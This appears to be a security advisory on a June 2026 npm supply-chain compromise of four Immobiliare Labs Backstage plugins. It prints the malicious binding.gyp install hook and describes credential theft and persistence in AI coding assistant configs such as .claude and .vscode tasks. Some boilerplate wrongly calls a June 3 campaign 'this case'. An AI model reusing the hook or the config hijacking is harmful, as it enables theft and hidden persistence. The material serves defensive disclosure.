





















On June 26, 2026, multiple versions across several npm packages maintained by Immobiliare Labs were found to carry a malicious payload that fires at npm install time via a binding.gyp node-gyp hook. The affected packages are @immobiliarelabs/backstage-plugin-gitlab, @immobiliarelabs/backstage-plugin-gitlab-backend, @immobiliarelabs/backstage-plugin-ldap-auth, and @immobiliarelabs/backstage-plugin-ldap-auth-backend. The payload steals credentials from a broad range of sources including GitHub Actions secrets, cloud provider credentials, and package registry tokens, and it attempts to persist inside AI coding assistant configurations.
We downloaded and statically analyzed the tarball for @immobiliarelabs/backstage-plugin-gitlab version 2.1.2 and compared it against the prior clean release 2.1.1. The compromised versions each include a 5 MB index.js that was absent from all prior releases, along with a new binding.gyp that causes node-gyp to execute the payload during installation. Technical analysis of the full payload is ongoing and this post will be updated as additional details become available.
| Package | Compromised Version |
|---|---|
@immobiliarelabs/backstage-plugin-gitlab |
1.0.1 |
@immobiliarelabs/backstage-plugin-gitlab |
2.1.2 |
@immobiliarelabs/backstage-plugin-gitlab |
3.0.3 |
@immobiliarelabs/backstage-plugin-gitlab |
4.0.2 |
@immobiliarelabs/backstage-plugin-gitlab |
5.2.1 |
@immobiliarelabs/backstage-plugin-gitlab |
6.13.1 |
@immobiliarelabs/backstage-plugin-gitlab |
7.0.2 |
@immobiliarelabs/backstage-plugin-gitlab-backend |
3.0.3 |
@immobiliarelabs/backstage-plugin-gitlab-backend |
4.0.2 |
@immobiliarelabs/backstage-plugin-gitlab-backend |
5.2.1 |
@immobiliarelabs/backstage-plugin-gitlab-backend |
6.13.1 |
@immobiliarelabs/backstage-plugin-gitlab-backend |
7.0.2 |
@immobiliarelabs/backstage-plugin-ldap-auth |
1.1.4 |
@immobiliarelabs/backstage-plugin-ldap-auth |
2.0.5 |
@immobiliarelabs/backstage-plugin-ldap-auth |
3.0.2 |
@immobiliarelabs/backstage-plugin-ldap-auth |
4.3.2 |
@immobiliarelabs/backstage-plugin-ldap-auth |
5.2.1 |
@immobiliarelabs/backstage-plugin-ldap-auth-backend |
1.1.3 |
@immobiliarelabs/backstage-plugin-ldap-auth-backend |
2.0.5 |
@immobiliarelabs/backstage-plugin-ldap-auth-backend |
3.0.2 |
@immobiliarelabs/backstage-plugin-ldap-auth-backend |
4.3.2 |
@immobiliarelabs/backstage-plugin-ldap-auth-backend |
5.2.1 |
All compromised versions were published within a 30-second window on June 26, 2026, inserted as new patch releases into every supported major release series simultaneously. The payload bypasses postinstall script detection by using a binding.gyp file to execute node index.js through node-gyp's shell expansion, a technique that is not caught by tools that only monitor scripts.postinstall in package.json.
We reported these findings to the Immobiliare Labs team via GitHub issue #1052 in the immobiliare/backstage-plugin-gitlab repository on June 26, 2026, the same day the compromised versions were identified.
This attack follows the same pattern as the mass supply chain attack on leo-platform packages previously documented by StepSecurity, where multiple patch versions were simultaneously published across every supported release series. For a deep technical walkthrough of the binding.gyp execution technique, Bun-based evasion, and the worm propagation mechanism, see our detailed analysis of the Miasma campaign.
All four affected packages are open-source Backstage plugins maintained by Immobiliare Labs, the Italian real estate company. The GitLab plugins integrate GitLab data into the Backstage internal developer portal, displaying merge requests, pipelines, contributors, and related GitLab metadata. The LDAP auth plugins provide LDAP-based authentication for Backstage, used by organizations running internal LDAP or Active Directory. All packages are used by platform engineering teams running self-hosted Backstage instances and have been published on npm since late 2022.
Each compromised version includes two files not present in prior releases: a 5 MB index.js and a binding.gyp native addon manifest. The binding.gyp file contains the following target definition:
{
"targets": [
{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}
]
}The 5 MB index.js payload uses three layers of obfuscation:
try { eval(...) } block._b) decrypts to a Bun runtime downloader. The second blob (_p) decrypts to the main obfuscator.io-obfuscated credential harvesting payload.After decryption, the outer wrapper downloads the Bun JavaScript runtime from the official GitHub releases endpoint (https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/), writes the decrypted main payload to a randomly named temporary file, executes it using Bun, and deletes the file. Using Bun rather than Node.js is a deliberate evasion technique: Bun does not support the --require hook interception used by many Node.js security monitoring tools.
Static analysis of the decoded payload string table reveals credential theft targeting the following sources:
/proc/<pid>/mem read of the Runner.Worker process169.254.169.254, ECS task metadata at 169.254.170.2, SSM Parameter Store, Secrets Manager)/home/runner/.vault-token, /root/.vault-token, /run/secrets/VAULT_TOKEN).ssh/)The payload includes a function named infectHost that targets configuration files for multiple AI coding assistants:
.claude/settings.json using the SessionStart hook to execute code on every session start.github/copilot-instructions.md.cursor/rules/.vscode/tasks.json using the folderOpen trigger.aider.conf.ymlThe payload contains functions including squatPackage, updateTarball, handleNpmTokens, and handlePypiTokens that suggest the ability to publish modified packages to npm and PyPI using stolen registry credentials. This is consistent with self-propagating supply chain worm behavior observed in prior campaigns.
| Type | Value | Significance |
|---|---|---|
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab@1.0.1 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab@2.1.2 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab@3.0.3 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab@4.0.2 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab@5.2.1 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab@6.13.1 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab@7.0.2 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab-backend@3.0.3 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab-backend@4.0.2 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab-backend@5.2.1 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab-backend@6.13.1 | Presence confirms compromised version installed |
| Malicious package | @immobiliarelabs/backstage-plugin-gitlab-backend@7.0.2 | Presence confirms compromised version installed |
| File hash (SHA512) | sha512-k7pGY+wScfqX51fpF412dOze6kSIytHYwZAXPhu6pDV+R7JWnD98Uc0nzGVHFead99nwWU4x56fkre/jH3Q7Xg== | Integrity hash of gitlab@2.1.2 tarball from npm registry |
| Malicious file | index.js (5.0 MB) in package root |
Present in compromised versions only; absent from all prior releases |
| Malicious file | binding.gyp in package root |
Present in compromised versions only; triggers payload execution via node-gyp |
| Download URL | https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-<os>-<arch>.zip | Bun runtime fetched by payload; outbound connection during install confirms execution |
| Persistence path | .claude/settings.json |
Modified to add SessionStart hook for IDE persistence |
| Persistence path | .github/copilot-instructions.md |
Modified by infectHost function |
| Persistence path | .cursor/rules/setup.mdc |
Modified by infectHost function |
| Persistence path | .vscode/tasks.json |
Modified to trigger on folderOpen event |
StepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis of the Phantom Gyp technique, IOCs, all affected packages and malicious versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.

Harden-Runner is a purpose-built security agent for CI/CD runners. It monitors all network events, process executions, file access, and outbound network connections at the step level in GitHub Actions, providing full runtime visibility into what happens during every workflow step, including npm install.
Harden-Runner detects the anomalous process chain (node-gyp spawning curl, unzip, and bun) and the unauthorized memory read, immediately initiating lockdown mode. The workflow run is terminated, preventing any secrets from being extracted.
Link to the run : https://app.stepsecurity.io/github/actions-security-demo/test-comp/actions/runs/28249315973

StepSecurity Secure Registry provides each enterprise customer with a dedicated, policy-enforced npm registry that sits between your existing package manager (such as JFrog Artifactory) and the public npm registry. Instead of fetching packages directly from registry.npmjs.org, your infrastructure routes requests through your StepSecurity registry, which applies configurable security policies before serving any package.
The primary defense here is the cooldown period. Newly published package versions are held for a configurable window before being served to any developer machine or CI/CD pipeline. When the compromised Miasma packages were published to npm, including @vapi-ai/server-sdk, ai-sdk-ollama, and dozens of packages in the jagreehal ecosystem, Secure Registry customers were never exposed.

StepSecurity Dev Machine Guard gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines.

Newly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within hours, this creates a crucial safety buffer. In this case, 57 packages across 286+ malicious versions were published in a rolling campaign lasting under two hours on June 3, so any PR updating to an affected version during the cooldown period would have been blocked automatically.

StepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously, often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. All compromised versions from this Miasma campaign, including @vapi-ai/server-sdk, ai-sdk-ollama, and the full jagreehal package family, were added to this database within minutes of detection.

Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.

此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。